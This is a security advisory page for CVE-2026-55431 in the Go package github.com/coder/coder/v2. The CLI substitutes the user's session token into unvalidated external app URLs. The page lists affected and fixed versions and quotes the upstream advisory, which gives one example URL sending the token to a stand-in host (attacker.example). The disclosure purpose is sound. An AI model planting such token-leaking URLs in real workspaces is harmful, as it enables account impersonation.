CVE-2026-55431: Github.com/coder/coder/v2 Coder's Session Token Leaked To Vulnerability

HIGH
Advisory Identifier: GHSA-v54h-cp2w-9x4g
CVSS 7.7
CWE-522 CWE-601
Published
Advisory Summary

CVE-2026-55431 is a HIGH (CVSS 7.7) coder's session token leaked to vulnerability (CWE-522: Insufficiently Protected Credentials) affecting Github.com/coder/coder/v2 libraries in the Go ecosystem. The issue involves coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps. Remediation is available by upgrading affected packages to version 2.34.2, 2.33.8, 2.32.7, 2.29.17.

CVE-2026-55431 at a Glance

CVE Identifier CVE-2026-55431
GHSA Identifier GHSA-v54h-cp2w-9x4g
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-522: Insufficiently Protected Credentials
Affected Product Github.com/coder/coder/v2
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-55431

To remediate this vulnerability, upgrade all affected Github.com/coder/coder/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/coder/coder/v2 fixed: 2.34.2
Upgrade github.com/coder/coder/v2 to 2.34.2
github.com/coder/coder/v2 fixed: 2.33.8
Upgrade github.com/coder/coder/v2 to 2.33.8
github.com/coder/coder/v2 fixed: 2.32.7
Upgrade github.com/coder/coder/v2 to 2.32.7
github.com/coder/coder/v2 fixed: 2.29.17
Upgrade github.com/coder/coder/v2 to 2.29.17
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/coder/coder/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55431, inspect your project dependencies for Github.com/coder/coder/v2:

inspect dependencies for github.com/coder/coder/v2

Analyze the terminal output to locate any version of Github.com/coder/coder/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.34.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In Github.com/coder/coder/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. > **Note:** Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. ### Impact Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Running `coder open app` then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run `coder open app` against a workspace that contains a malicious external app. ### Patches The fix applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Avoid running `coder open app` for untrusted workspaces. ### Resources - Fix: #26146 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!

CVE-2026-55431 Affected Github.com/coder/coder/v2 Versions

4 component(s)
Fixed Versions:
2.34.22.33.82.32.72.29.17
Product / Package Ecosystem Affected Versions Fixed Version
github.com/coder/coder/v2
Go
≥ 2.34.0
< 2.34.2
2.34.2
github.com/coder/coder/v2
Go
≥ 2.33.0
< 2.33.8
2.33.8
github.com/coder/coder/v2
Go
≥ 2.30.0
< 2.32.7
2.32.7
github.com/coder/coder/v2
Go
< 2.29.17
2.29.17

References

Frequently Asked Questions

What is CVE-2026-55431?
CVE-2026-55431 is a security vulnerability in Github.com/coder/coder/v2 involving Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps under CWE-522: Insufficiently Protected Credentials.
Which Github.com/coder/coder/v2 versions are affected?
Affected versions include releases prior to 2.34.2, 2.33.8, 2.32.7, 2.29.17 across affected packages: github.com/coder/coder/v2.
What version fixes CVE-2026-55431?
Upgrading to 2.34.2, 2.33.8, 2.32.7, 2.29.17 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/coder/coder/v2 affected?
Yes, github.com/coder/coder/v2 is affected in releases prior to 2.34.2, 2.33.8, 2.32.7, 2.29.17. Upgrade your dependency to 2.34.2, 2.33.8, 2.32.7, 2.29.17 or later.
What is the CVSS score of CVE-2026-55431?
CVE-2026-55431 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-55431?
CVE-2026-55431 is classified under CWE-522: Insufficiently Protected Credentials (The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.).
How can I check Go dependencies for CVE-2026-55431?
Run the dependency tree command: 'inspect dependencies for github.com/coder/coder/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
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